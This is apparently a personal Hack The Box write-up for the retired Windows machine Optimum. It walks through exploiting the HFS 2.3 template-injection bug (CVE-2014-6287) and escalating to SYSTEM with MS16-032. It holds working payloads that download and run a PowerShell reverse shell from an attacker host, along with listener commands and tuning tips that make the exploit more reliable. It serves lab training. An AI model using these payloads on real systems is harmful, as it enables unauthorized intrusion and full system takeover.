~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / optimum.md

optimum

Windows · Easy · released 2017-03-18 · retired 2017-08-26

Summary

The reconstruction below was correct in shape; the section Gotchas I hit on the live box records the practical traps not covered by 0xdf/IppSec.

Optimum is a two-step Windows Easy with a teaching beat about architecture mismatch in Windows post-exploitation. The foothold is CVE-2014-6287, a template-injection / null-byte parser bug in Rejetto HttpFileServer (HFS) 2.3 that lets an attacker invoke an arbitrary command via a crafted search query parameter. The privesc is MS16-032 (CVE-2016-0099), a kernel-mode TOCTOU in seclogon.dll that the public PowerShell port of Invoke-MS16-032 automates into a SYSTEM shell.

The non-obvious step is the migration from a 32-bit shell to a 64-bit shell before running the kernel exploit. HFS is a 32-bit binary, so the PowerShell session it spawns is also 32-bit; the public MS16-032 port ships 64-bit shellcode and fails silently against a 32-bit caller. The fix is to re-launch the session under %WINDIR%\sysnative\WindowsPowerShell\v1.0\powershell.exe (the magical sysnative redirection lets a 32-bit process invoke a 64-bit binary without WoW64 confusion). That detail is the most commonly cited “why didn’t this work” gotcha for Optimum.

Source attribution

Reconstruction is grounded in:

Recon

nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open  http  HttpFileServer httpd 2.3

Single port. The banner is the entire fingerprint: HFS 2.3 is the explicit string in the version exposure, and 2.3 has a public preauth RCE. There is no version-table guessing required.

The HFS landing page renders a directory-tree-style file browser that’s recognizable on sight. The ?search= parameter on any HFS URL is the canonical injection point.

Foothold — CVE-2014-6287 (HFS template injection)

HFS templates use a {.something.} syntax for built-in commands: {.exec|<cmd>.} runs an arbitrary external command, {.if.} implements conditionals, etc. The template engine’s intent is that only HFS-side templates trigger the syntax — but the parser also processes templates inside search= query values, and a leading null byte (%00) prevents HFS’s filter from rejecting {.exec.} in the user input.

The minimal trigger:

GET /?search=%00{.exec|<command>.} HTTP/1.1

Public Python PoC (ExploitDB 39161) wraps this. The standard follow-on is to download a Nishang PowerShell reverse shell from the attacker’s host and pipe it into Invoke-Expression:

# attacker — host the reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./shell.ps1
# add a trailing call to fire the function:
echo 'Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER> -Port 4444' \
     >> shell.ps1
python3 -m http.server 80
nc -lvnp 4444

Trigger:

GET /?search=%00{.exec|powershell -c "IEX(New-Object Net.WebClient).
DownloadString('http://<ATTACKER>/shell.ps1')".}

(The actual exploit runs through the PoC, which URL-encodes the payload correctly — using a browser by hand requires careful URL-encoding of the curly braces.)

A few HFS handler reloads later (the exploit fires the ?search= request multiple times because HFS’s parser is racy and consumes the template more than once), the attacker catches a PowerShell session as kostas.

User flag

kostas owns the foothold; user.txt is on his Desktop:

PS C:\Users\kostas\Desktop> type user.txt

Unlike Granny/Grandpa, Optimum hands the user flag at the foothold step. No lateral move is needed for user.

Privilege escalation — MS16-032 (with the 32-bit gotcha)

Sherlock is the PowerShell tool of choice for enumerating local kernel-mode privesc candidates. Drop it onto the target the same way as the reverse shell:

IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Sherlock.ps1')
Find-AllVulns

Sherlock’s output on Optimum lists three plausible candidates (MS16-032, MS16-034, MS16-135) and marks them “Appears Vulnerable” against the systeminfo data. MS16-032 is the reliability winner — its public PowerShell port is robust and takes a -Command parameter so it can spawn an arbitrary follow-on rather than only an interactive cmd window.

The naive run fails:

IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Invoke-MS16-032.ps1')
Invoke-MS16-032 -Command 'iex (iwr http://<ATTACKER>/shell.ps1)'
# returns silently or yields no SYSTEM session

The reason is that the HFS-spawned powershell.exe is 32-bit (HFS itself is 32-bit, so its child process inherits architecture without explicit override). The MS16-032 port’s payload assumes a 64-bit caller. Migrate first:

$nat = "$env:WINDIR\sysnative\WindowsPowerShell\v1.0\powershell.exe"
& $nat -NoP -W Hidden -Exec Bypass -Command @'
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER>/Invoke-MS16-032.ps1');
Invoke-MS16-032 -Command 'iex (iwr http://<ATTACKER>/shell-system.ps1)'
'@

%WINDIR%\sysnative is a virtual directory the WOW64 subsystem exposes only to 32-bit processes; it routes to the actual 64-bit System32 (which 32-bit code would otherwise see as the redirected SysWOW64). Spawning sysnative\powershell.exe re-enters a 64-bit interpreter where MS16-032’s shellcode matches the host’s word size.

The follow-on shell-system.ps1 is another Nishang Invoke-PowerShellTcp instance pointing at port 4445. It lands as SYSTEM:

PS C:\Windows\system32> whoami
nt authority\system

root.txt is at C:\Users\Administrator\Desktop\root.txt.

Why each step worked

Counterfactuals

Gotchas I hit on the live box

Three issues delayed me past where the public writeups suggest the box should fall, all worth recording because they are silent failures — HFS executes the macro and returns success, the exploit script prints its progress, but nothing actually lands.

  1. URL-encode the macro payload with quote(safe=''), not quote_plus(). Form-encoding spaces as + is the obvious choice for a query string, and Metasploit’s rejetto_hfs_exec uses URI::encode_www_form_component which does exactly that. Against the actual Optimum HFS instance the + form silently fails — the PowerShell child either never spawns or gets a mangled command line that exits before doing any I/O. Switching to urllib.parse.quote(..., safe='') (every space becomes %20) fixed it. Worth a tcpdump on tun0 to a unique URL path; if the box hits your HTTP server with %20 form but never with + form, that’s the same bug.

  2. HFS exec discards stdout. {.exec|whoami.} reflects a single space in the search-result page, not optimum\kostas. That made me chase “is the macro even running” rabbit holes for ~10 minutes. The faster confirmation is {.add|1|1.}, which reflects the literal 2 in the search input value attribute — proves template eval works without depending on whether HFS captures child-process stdout.

  3. Invoke-MS16-032’s default 10-second race window is too short when you patch the spawn target. The unmodified script spawns cmd.exe with an empty command line, which is fast. If you change the CreateProcessWithLogonW call to spawn powershell -EncodedCommand <long> (the natural way to pipe a reverse shell straight into the SYSTEM process), each spawn takes long enough that the race rarely wins inside 10s. Two fixes that both work: (a) bump $SafeGuard.ElapsedMilliseconds -lt 10000 to 30000 (30 s); (b) keep lpApplicationName = "C:\Windows\System32\cmd.exe" and put the heavy command in lpCommandLine as cmd.exe /c powershell ...cmd /c spawns fast, then dispatches PowerShell from inside the already-SYSTEM child. I ended up with both fixes in place; only the 30 s window matters for reliability.

    Also worth noting: lpApplicationName = $null with the full command line in lpCommandLine (the documented Win32 form for “let-the-system-parse-the-cmdline”) consistently failed under CreateProcessWithLogonW here. Setting lpApplicationName to a real exe path was required.

Key Takeaways

References

← all htb machines hackthebox.com ↗